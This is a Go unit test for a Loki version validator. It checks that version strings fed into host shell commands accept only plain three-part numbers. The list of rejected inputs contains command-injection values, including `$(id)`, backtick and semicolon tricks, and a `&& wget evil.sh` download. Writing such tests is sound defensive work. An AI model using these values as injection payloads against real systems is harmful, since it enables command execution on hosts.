package services

import "testing"

// TestValidateLokiVersionRejectsShellMetacharacters 版本号会拼进主机 shell 命令(下载 URL 等),
// 必须只放行纯数字三段式,杜绝命令注入。
func TestValidateLokiVersionRejectsShellMetacharacters(t *testing.T) {
	bad := []string{
		`3.0.0'; id; echo '`,
		`2.8.9$(id)`,
		`3.0.0;id`,
		`3.0.0 && wget evil.sh`,
		"3.0.0\nid",
		"3.0.0`id`",
		`v3.0.0`,
		`3.0`,
		`3.0.0-beta`,
		`3..0`,
		` 3.0.0`,
	}
	for _, version := range bad {
		if err := ValidateLokiVersion(version); err == nil {
			t.Errorf("ValidateLokiVersion(%q) 应被拒绝(shell 注入面)", version)
		}
	}
	good := []string{"", "2.8.9", "3.0.0", "3.4.0"}
	for _, version := range good {
		if err := ValidateLokiVersion(version); err != nil {
			t.Errorf("ValidateLokiVersion(%q) 不应报错: %v", version, err)
		}
	}
}